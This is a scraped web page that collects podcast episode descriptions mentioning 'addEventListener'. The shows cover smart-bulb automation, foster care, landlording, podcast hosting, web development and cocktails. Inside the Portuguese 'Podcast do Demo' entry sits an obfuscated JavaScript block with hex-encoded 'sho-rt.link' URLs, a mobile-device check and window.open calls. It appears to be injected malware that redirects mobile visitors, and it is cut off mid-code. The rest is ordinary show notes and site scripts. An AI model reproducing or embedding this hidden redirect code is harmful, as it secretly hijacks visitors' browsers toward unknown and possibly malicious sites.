Podcasts about addeventlistener

This show has been flagged as Clean by the host. Bulbs Wiz Connected smart light bulbs Exploit Article about hacking the lights Source Code Source code of the hack Cordova Apache Cordova framework for mobile apps Cordova Plugin SSH Connect Cordova Plugin KDE Widgets Mobile Interface Code Python Script wiz-hack.py import socket import time import random import sys ​ if len(sys.argv) < 3: print(help) exit() IP = sys.argv[1] ​ on = """{"params":{"orig":"andr","state":true},"id":6,"method":"setPilot"}""" off = """{"params":{"orig":"andr","state":false},"id":6,"method":"setPilot"}""" ​ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((IP, 38899)) if sys.argv[2] != "on" and sys.argv[2] != "off": print("Changing lights color") b = sys.argv[2] color_send = """{"method":"setPilot","params":{"r":""" + str(255) + ""","g":""" + str(255) + ""","b":""" + str(255) + ""","dimming":""" + str(b) + """}}""" print(color_send) s.sendall(bytes(color_send, "utf-8")) s.close() elif sys.argv[2] == "on": print("Turning on the lights") s.sendall(bytes(on, "utf-8")) s.close() elif sys.argv[2] == "off": print("Turning off the lights") s.sendall(bytes(off, "utf-8")) s.close() Shell Scripts on.sh #!/bin/sh /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 on /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 on /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 on /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 on ​ off.sh #!/bin/sh /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 off /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 off /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 off /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 off light.sh #!/bin/sh /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 "$1" /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 "$1" /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 "$1" /usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 "$1" Mobile App index.html (excerpt) ... Light Control ​ On Off ​ ​ Brightness: ​ index.js const user = "user"; const password = "redacted_password"; const host = "192.168.0.218"; const port = "22"; ​ var sshConnect; ​ function on() { sshConnect.connect(user, password, host, port, () => { sshConnect.executeCommand('on.sh', function() { sshConnect.disconnect(); }); }); } ​ function off() { sshConnect.connect(user, password, host, port, () => { sshConnect.executeCommand('off.sh', function() { sshConnect.disconnect(); }); }); } ​ function brightness(level) { sshConnect.connect(user, password, host, port, () => { sshConnect.executeCommand('light.sh '+level, function() { sshConnect.disconnect(); }); }); } ​ document.addEventListener('deviceready', onDeviceReady, false); ​ function onDeviceReady() { sshConnect = cordova.plugins.sshConnect; ​ document.getElementById("onButton").addEventListener("click", () => { // Send "on" command to light console.log("Light turned on"); on(); }); ​ document.getElementById("offButton").addEventListener("click", () => { // Send "off" command to light console.log("Light turned off"); off(); }); ​ document.getElementById("brightnessSlider").addEventListener("input", () => { const level = document.getElementById("brightnessSlider").value; // Send brightness value to light console.log("Brightness set to:", level); brightness(level); }); } Provide feedback on this episode.

What began as a bold experiment in Utah now celebrates 25 years of nurturing families and transforming lives. As we reflect on a quarter-century of dedicated service in foster care, we take a moment to appreciate the profound impact that Utah Foster Care has had on countless children, families, and communities Building on Bold Beginnings Twenty-five years ago, a visionary idea took root in Utah—to create an organization solely focused on recruiting, training, and supporting foster families. Through the leadership of Governor Mike Leavitt and partnerships with community and state agencies, Utah Foster Care emerged as a unique entity dedicated to serving the needs of foster children and the families who care for them. Commitment to Children First At the heart of Utah Foster Care's mission is an unwavering commitment to putting children's needs first. As shared by Brian Young, a regional trainer, the primary goal is to ensure that every child in foster care feels safe, understood, and supported. Brian’s moving recollection of a time when the reality of a child's loss deeply resonated with him emphasizes the importance of empathy and awareness in foster care. Supporting Foster Families The organization’s success also lies in its continuous support for foster families. Debra Lindner and Liz Rivera, co-hosts of the podcast, illustrate how Utah Foster Care goes beyond initial training by maintaining long-term relationships with foster parents. This ongoing support helps equip families with the skills needed to provide nurturing and stable environments for children who have experienced trauma. Recognizing and Addressing Challenges Utah Foster Care has always been proactive in addressing systemic challenges. From embracing cultural diversity to implementing inclusive practices, the organization has made significant strides. Mike, a clinical consultant, and Les, a trainer, discussed efforts to understand and honor the cultural backgrounds of children in care, particularly those from Native American and Latino communities. The Evolution of Training and Understanding In the early years, foster training was more behavior-focused. Over time, it has evolved into a trauma-informed approach grounded in brain science. Understanding the brain's development and the impact of trauma has revolutionized the training provided to foster parents, emphasizing the need for compassion and tailored support. A Vision for the Future Looking ahead, Utah Foster Care aspires to have families waiting for children, not the other way around. The organization remains committed to adapting based on continuous learning and the evolving needs of children and families. The involvement of Governor Cox and First Lady Abby Cox has brought unprecedented attention and resources to the cause, promising even greater progress in the years to come. Conclusion As we commemorate 25 years of Utah Foster Care, we celebrate the resilience of the children, the dedication of foster families, and the passion of the staff. With over 16,000 families trained since 1999, Utah Foster Care stands as a beacon of hope and compassion. For those inspired to join this journey, remember that you don’t need to know everything to become a foster parent—you just need to be willing to learn. To find out more about foster parenting and other ways to get involved, visit utahfostercare.org. Here’s to another 25 years of making a difference, one child at a time. var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==n?t.apply(null,r):r[0]=t.apply(null,r)})),"filter"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}}); Want to learn more about becoming a foster parent? First Name* Last Name* PhoneE-Mail Town State*Select a StateUtahOut of StateCounty*Select a CountyBeaver CountyBox Elder CountyCache CountyCarbon CountyDaggett CountyDavis CountyDuchesne CountyEmery CountyGarfield CountyGrand CountyIron CountyJuab CountyKane CountyMillard CountyMorgan CountyPiute CountyRich CountySalt Lake CountySan Juan CountySanpete CountySevier CountySummit CountyTooele CountyUintah CountyUtah CountyWasatch CountyWashington CountyWayne CountyWeber CountyOUT OF STATEHow did you hear about us?*How did you hear about us?BillboardCare CommunityChurchDCFSEventFacebookFamily/FriendFoster/Adoptive ParentInstagramPartner AgencyPresentation (digital)Presentation (in person)Previously LicensedPrint MediaRadioRaise the FutureTelevisionUFC EmployeeWebsiteWhich type of Care Community?*ChurchBusinessWhich Church Organization?* Which Business?* Δ /* = 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_1');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_1').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){form_content.find('form').css('opacity', 0);jQuery('#gform_wrapper_1').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_1').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_1').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_1').val();gformInitSpinner( 1, 'https://utahfostercare.org/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [1, current_page]);window['gf_submitting_1'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}jQuery('#gform_wrapper_1').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [1]);window['gf_submitting_1'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_1').text());}else{jQuery('#gform_1').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger("gform_pre_post_render", [{ formId: "1", currentPage: "current_page", abort: function() { this.preventDefault(); } }]); if (event && event.defaultPrevented) { return; } const gformWrapperDiv = document.getElementById( "gform_wrapper_1" ); if ( gformWrapperDiv ) { const visibilitySpan = document.createElement( "span" ); visibilitySpan.id = "gform_visibility_test_1"; gformWrapperDiv.insertAdjacentElement( "afterend", visibilitySpan ); } const visibilityTestDiv = document.getElementById( "gform_visibility_test_1" ); let postRenderFired = false; function triggerPostRender() { if ( postRenderFired ) { return; } postRenderFired = true; jQuery( document ).trigger( 'gform_post_render', [1, current_page] ); gform.utils.trigger( { event: 'gform/postRender', native: false, data: { formId: 1, currentPage: current_page } } ); if ( visibilityTestDiv ) { visibilityTestDiv.parentNode.removeChild( visibilityTestDiv ); } } function debounce( func, wait, immediate ) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if ( !immediate ) func.apply( context, args ); }; var callNow = immediate && !timeout; clearTimeout( timeout ); timeout = setTimeout( later, wait ); if ( callNow ) func.apply( context, args ); }; } const debouncedTriggerPostRender = debounce( function() { triggerPostRender(); }, 200 ); if ( visibilityTestDiv && visibilityTestDiv.offsetParent === null ) { const observer = new MutationObserver( ( mutations ) => { mutations.forEach( ( mutation ) => { if ( mutation.type === 'attributes' && visibilityTestDiv.offsetParent !== null ) { debouncedTriggerPostRender(); observer.disconnect(); } }); }); observer.observe( document.body, { attributes: true, childList: false, subtree: true, attributeFilter: [ 'style', 'class' ], }); } else { triggerPostRender(); } } );} ); /* ]]> */

This is the trailer for the Good Landlording podcast, co-hosted and co-founded by Suzanne Smith of The Independent Landlord and Richard Jackson from Alphaletz. Good Landlording is a new weekly podcast that comes out every Wednesday, specifically for landlords and people who want to be landlords. It is also helpful for property investors, housing providers and property businesses who want to understand the issues that matter to landlords. Good Landlording officially launched on 3rd April. The first podcast episode will be released on Wednesday 10 April and is about the most important topic for any business: our customers. For landlords, that's our renters. You can listen to the trailer on the player above or on your favourite podcast app, or read the show notes and links below. You will find the full transcript at the end of this post. Let us know what you think by leaving a comment below or by messaging us on social media: Good Landlording on X or Good Landlording on Instagram. You can also submit a question for Suzanne and Richard to potentially answer on a future podcast episode by completing this Google form. What does the new Good Landlording podcast cover? Each week we take a different challenge that landlords face, and discuss how to tackle it. Practical topics that really matter to landlords, and not just moaning about the state of the private rented sector. We're starting with the topics that members of The Independent Landlord Community private Facebook group suggested, including the following: How to pick good letting agents? How to self-manage? What to do about rent increases? How to tackle damp and mould? What newbie landlords need to know? How to scale your business as a landlord efficiently? How to handle rent arrears? What makes a good tenant? How to choose good tenants? How to be a good landlord? We'll also do regular updates on new legislation, including the Renters Reform Bill, and whatever a new government brings us. This is Suzanne Smith's speciality as she worked as a solicitor for 25 years before becoming a landlord. How do we follow the podcast? Follow us on your favourite podcast app, which you can find in the side bar on this page. You can also sign up to our newsletter using the form below so you'll have easy links to the useful show notes of each episode that will only be available on this website. Can I submit a question for Suzanne and Richard to answer? Yes, we love getting questions from our listeners. You can ask a question or suggest a topic for future podcast episodes by completing this question form, or by sending us your question via our contact form. >> Related post: About Good Landlording >> Submit a question: Click here to complete question form Links to episodes Here are direct links to the episodes: Episode #1: What makes a good tenant? Credits window.addEventListener('message',function(e){'https://widgets.blubrry.com'===e.origin&&'object'==typeof e.data&&(document.getElementById(e.data.senderId).style.height=e.data.height+'px')}) Music: Kevin MacLeod of Incompetech. Licensed under Creative Commons. Transcript Hello, and welcome to Good Landlording. I'm Richard from Alphaletz. And I'm Suzanne from the Independent Landlord blog. Together, we're really excited to bring you a weekly podcast called Good Landlording that we co-host. Each week, we'll pick a particular challenge that landlords face and discuss how to tackle it. Yes, and it's not some dreaded moan-fest about the state of the private rented sector either. The topics that really matter to you, like the practical things. And this podcast is different. So who's it for? Well, landlords, as it says on the tin, people who want to be landlords, those who prefer to be identified as property investors or even housing providers, and anyone in the property business who wants to understand the...

The Thrive Bundle from Blubrry is designed to empower podcasters of all levels. From the novice just starting out to the seasoned professional looking to enhance their show. Combined with our renowned hosting services, detailed analytics, and seamless WordPress integration via the PowerPress Plugin, the Thrive Bundle offers tools and insights that are indispensable for podcast growth and audience engagement. Today the team unpacks each component of the bundle and why it's a steal for anyone looking for that extra dose of podcasting power. Today's Hosts: Todd Cochrane, Mike Dell and MacKenzie Bennett Introducing the Thrive Bundle Pricing: An affordable add-on at just $10 a month to your existing plan. Features of the Thrive Bundle Dynamic Ad Insertion Pre-roll: Automate the insertion of ads or promos at the start of your episodes to promote previous episodes, events, or sponsorships. Expanded Episode Listener Comparison: Analyze five episodes against trending ones to understand listener uptake and engagement. Listener and Subscriber Data: Track your audience growth with new statistics distinguishing between listeners and subscribers. Average Daily Plays (ADP): A unique metric offering insights into show growth and back catalog consumption. Quicklinks: Enhance audience engagement with customizable links, donations, and analytics. Podcast 2.0 Features: Leverage the latest podcasting standards for a richer listener experience. Apple Podcast Reviews: Promote your show's success with easy social media sharing of listener reviews. Extra Metrics Episode Comparison Estimated Audience Average Daily Plays The Value of Quicklinks Simplify audience engagement and support through donations, all while tracking effectiveness with Google Analytics. Dynamic Ad Insertion Benefits of pre-roll ad insertion for monetization and promotion. Upcoming Will be adding our AI service to the Thrive Bundle this spring. Learn more about Blubrry's Thrive Bundle in our write-up here. window.addEventListener('message',function(e){'https://widgets.blubrry.com'===e.origin&&'object'==typeof e.data&&(document.getElementById(e.data.senderId).style.height=e.data.height+'px')})   The best place for support with any Blubrry product or service is our ticket system. Tickets give the whole team access vs. direct emails or calls. General podcasting discussion and more can be shared on the Blubrry Podcasting Facebook group. Fill out our listener survey at surveys.blubrry.com/podcastinsider Hosting customers can schedule a one-on-one call with Todd or a tech checkup with Mike. todd@blubrry.com and mike@blubrry.com

Take your show to the professional level In today's episode we are taking a close look at the benefits of professional podcast hosting -- more so than using a reputable podcast hosting platform -- but the pro hosting plan offered by Blubrry Podcasting. This episode is a goldmine for both budding and experienced podcasters as we explore the comprehensive features that Blubrry's Pro Hosting offers, such as its unmatched bandwidth, detailed analytics, monetization capabilities and robust support and migration process. Today's Hosts: Todd Cochrane, MacKenzie Bennett and Mike Dell Part of our Podcasting 101 series that dives into what podcasters can expect in their creative journey. Main Features of Pro Hosting Blubrry offers a sophisticated pro hosting offering that meets podcasters needs for businesses and organizations, educational institutions, government entities, networks, and creators with large files such as video content creators. Hosting with unlimited bandwidth Advanced Stats Websites: Free managed WordPress Site included for each RSS feed PowerPress Monetization: Dynamic Ad Insertion and Programmatic Advertising Network Showcasing Tool, example: www.techpodcasts.com  Sub Accounts for teams Any size show - video and audio FTP, scalable plans, automatic payments Learn more about Blubrry's Pro Hosting. Pro Hosting Pricing Starts at $100 a month, which includes 1 podcast (show), statistics and free WordPress Site. Additional shows within the plan are a monthly fee of $10/per show. Extra Pro Services Blubrry Pro-Production is a good fit for those looking to bridge the gap between idea to launch as well as launch to routine. The combination of the pro hosting plan, our production partner and of course our highly capable tech support team, Blubrry provides a well-rounded solution for podcasters looking to take their shows to the professional level. Thanks for tuning in to see how Blubrry's Pro Hosting can fit into your podcasting routine. window.addEventListener('message',function(e){'https://widgets.blubrry.com'===e.origin&&'object'==typeof e.data&&(document.getElementById(e.data.senderId).style.height=e.data.height+'px')}) The best place for support with any Blubrry product or service is our ticket system. Tickets give the whole team access vs. direct emails or calls. General podcasting discussion and more can be shared on the Blubrry Podcasting Facebook group. Fill out our listener survey at surveys.blubrry.com/podcastinsider Hosting customers can schedule a one-on-one call with Todd or a tech checkup with Mike. todd@blubrry.com and mike@blubrry.com

In this episode of Syntax, Wes and Scott give a high level overview of the observer pattern, what is the observer, what are downsides to too many observers, and more. Show Notes 00:25 Welcome 01:42 Syntax Brought to you by Sentry 02:16 High level overview Syntax 694: What's Up With Angular with Mark Techson Godot Engine 03:36 What might you observe in game development? 06:50 What is the observer? 08:11 What are some downsides to too many observers? 10:17 IntersectionObserver, MutationObserver, and PerformanceObserver 12:25 ResizeObserver 13:04 What about addEventListener? @BenLesh on Callbacks being faster than observables 16:13 Signals are becoming a big thing Hit us up on Socials! Syntax: X Instagram Tiktok LinkedIn Threads Wes: X Instagram Tiktok LinkedIn Threads Scott: X Instagram Tiktok LinkedIn Threads

In this episode of Syntax, Wes and Scott talk about JavaScript runtimes available to use, what to consider, and packages to use. Show Notes 00:10 Welcome 01:00 Scott's glasses 03:46 All the runtimes Bun — A fast all-in-one JavaScript runtime Edge Functions Supabase Docs Edge Functions Netlify Docs Deno — A modern runtime for JavaScript and TypeScript Fast and low overhead web framework, for Node.js | Fastify What Is Edge Computing? Alibaba 05:15 A note for anyone new to JavaScript 08:40 Winter CG WinterCG 11:05 Fetch sindresorhus/ky: JavaScript HTTP client based on the browser Fetch API website/src/routes/shows/+page.svelte 14:53 URL 20:02 addEVentListener whatwg/fs · Issue #5 · wintercg/proposal-common-minimum-api · GitHub 22:53 Web streams Web Streams Explained — Syntax Podcast 587 26:03 Structured Clone Structured JSON | Worker Tools 33:43 What does JSON 5 do? 34:48 Markdown flavors 36:46 File 40:32 AbortController and AbortSignal DOM Standard DOM Standard 42:45 Packages for building linkedom - npm 44:05 Honking the Hono.dev Itty Router Itty Dev Hono.dev 55:25 SIIIIICK ××× PIIIICKS ××× ××× SIIIIICK ××× PIIIICKS ××× Scott: Macro Factor Wes: CRP Products Shameless Plugs Scott: Sentry Wes: Wes Bos Tutorials Tweet us your tasty treats Scott's Instagram LevelUpTutorials Instagram Wes' Instagram Wes' Twitter Wes' Facebook Scott's Twitter Make sure to include @SyntaxFM in your tweets Wes Bos on Bluesky Scott on Bluesky Syntax on Bluesky

Podcast do Demo #267 Lançado: 04 maio de 2023 Cabecinhas vazias, vamos trocar uma ideia sobre a 7ª arte (também conhecida como interação filmada com o chat GPT - #Brinks)!!! Vamos selecionar os melhores westerns modernos que não usam animais e as disputas de vida ou morte usam cards colecionáveis, indicar os melhores e piores diretores Norte coreanos de cinema mudo e ainda fazer uma lista incrível de filmes de diretoras iraquianas feministas. Não percam o maior e melhor podcast já criado pela humanidade!!! Essa é a Oficina do Demo - HaterShow!!! Inscreva-se no nosso podcast na Spotify, iTunes, Deezer ou na Google Podcasts e ouça o episódio no melhor horário para você! function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx55x61x55x32x63x352','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx73x6ex61x33x63x343','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx52x7ax73x30x63x330','random','-local-storage','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ex43x42x37x63x307','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx58x4dx43x36x63x356','12075252qhSFyR','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ax56x65x38x63x348','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ax62x43x35x63x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx46x55x67x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6bx55x62x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx61x68x78x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll...

In this Hasty Treat, Scott and Wes talk through the differences between modals, popups, popovers, lightboxes, and dialog boxes. Show Notes 00:31 Welcome 02:25 What's popping up? 02:59 What's a modal? 08:33 Pop overs and lightboxes 10:41 Explicit dismiss and light dismiss 11:30 Inert property inert 16:30 Backdrop pseudo element Dialog with animation 19:26 Dialog 28:12:11 Making accessibility easier const showButton = document.getElementById('showDialog'); const favDialog = document.getElementById('favDialog'); const outputBox = document.querySelector('output'); const selectEl = favDialog.querySelector('select'); const confirmBtn = favDialog.querySelector('#confirmBtn'); // "Show the dialog" button opens the modally showButton.addEventListener('click', () => { favDialog.showModal(); }); // "Favorite animal" input sets the value of the submit button selectEl.addEventListener('change', (e) => { confirmBtn.value = selectEl.value; }); // "Confirm" button of form triggers "close" on dialog because of [method="dialog"] favDialog.addEventListener('close', () => { outputBox.value = `ReturnValue: ${favDialog.returnValue}.`; }); Tweet us your tasty treats Scott's Instagram LevelUpTutorials Instagram Wes' Instagram Wes' Twitter Wes' Facebook Scott's Twitter Make sure to include @SyntaxFM in your tweets

addEventListener is usually frowned upon as an anti-pattern in the React world. Will this still be the case with Remix? What about in the framework-agnostic future of Remix? Is addEventListener OK again?

Noticias y Tendencias del mes Estas son la Noticias y Tendencias más importantes del mes en La Industria La Guía definitiva para Dilución: https://vinepair.com/cocktail-college/cocktail-college-dilution/ La "Nueva Tendencia" de sólo 2 cócteles por persona: https://vinepair.com/articles/history-two-drinks-only-cocktails/ Nueva Botella de Macallan en Colaboración con Bentley Motors: https://www.thespiritsbusiness.com/2022/08/macallan-and-bentley-unveil-collaborative-whisky/ Nueva Botella de Tequila de 200 dólares que parece un Pretxel: https://vinepair.com/booze-news/kendall-jenners-new-tequila-pretzel/ ¿Se congela más rápido el agua hirviendo que la fría?: https://vinepair.com/articles/boiling-water-for-ice/ En la noticias y tendencias del éste mes hablamos sobre cómo dominar la dilución de nuestros cócteles incluso en pre batch, el resurgimiento de la tendencia de "sólo dos cócteles por persona", dos nuevas etiquetas (de tequila y de whisky) que dicen mucho del futuro del diseño de las botellas de bebidas alcohólicas y el efecto Mpemba que asegura que se congela más rápido el agua hirviendo que el agua fría. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/xSBycLJoeok Grupo de Telegram: https://t.me/notindustria Grupo de Podcast de Coctelería en español: https://t.me/podcocteleria Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: https://www.barspeakeasy.com/epidemic document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-6332322277507"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4345","data":{"title":"GUu00cdA para la DILUCIu00d3N, dos Cu00d3CTELES por PERSONA y NUEVAS ETIQUETAS de lujo","duration":"00:13:32","link":"https://www.barspeakeasy.com/podcast/guia-para-la-dilucion/","poster":"https://www.barspeakeasy.com/wp-content/uploads/portada-6-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep62-1/EP62.m4a","size":"9974875","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, {"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/config/episodios/theme/episodico","data":{"activeTab":"chapters","subscribe-button":{"feed":"https://www.barspeakeasy.com/podcast/feed/","clients":[{"id":"spotify","service":"7ascjOfw0IulBwhzQLI5U8"},{"id":"overcast",

Mi Invitado Daniel Estremadoyro: jurado de competencias nacionales e internacionales, capacitador de bartenders, conferencista y un gran entusiasta de la buena coctelería. Hablaremos sobre la influencia que han tenido los clásicos en la coctelería moderna y de autor y cómo inicio todo. Links de Interés: Envíanos un mensaje de voz: https://www.speakpipe.com/DetrasDelBar Únete a la Comunidad de Telegram: https://barspeakeasy.com/comunidad Invítanos un Cóctel: https://www.buymeacoffee.com/detrasdelbar Links Mencionados en el Episodio: Canal de Twitch: https://www.twitch.tv/mezclandoexperiencias https://youtu.be/tfWOjIj4kqw Episodios Relacionados Otros links de interés: Cómprame un Cóctel: https://barspeakeasy.com/apoyo Hosting desde 4$: https://barspeakeasy.com/hosting 30 días gratis de Epidemic Sound: http://www.barspeakeasy.com/epidemic Prueba Canva Pro por 45 días GRATIS: http://www.barspeakeasy.com/canvapro document.addEventListener("DOMContentLoaded", function() { var player = document.getElementById("player-633232227aa33"); podlovePlayerCache.add([{"url":"https://barspeakeasy.com/wp-json/podlove-web-player/shortcode/post/4284","data":{"title":"Cu00d3MO INFLUYEN los Cu00d3CTELES CLu00c1SICOS en la COCTELERu00cdA","duration":null,"link":"https://www.barspeakeasy.com/podcast/como-influyen-los-cocteles-clasicos-en-la-cocteleria/","poster":"https://www.barspeakeasy.com/wp-content/uploads/influencia_clasicos-scaled.webp","audio":[{"mimeType":"audio/x-m4a","url":"https://archive.org/download/ep61-1/EP61.m4a","size":"48326715","title":"AUDIO/X-M4A"}],"chapters":[],"show":{"title":"Detru00e1s del Bar","subtitle":"Noticias y Tendencias en Cocteleru00eda","link":"https://www.barspeakeasy.com"},"transcripts":[]}}, 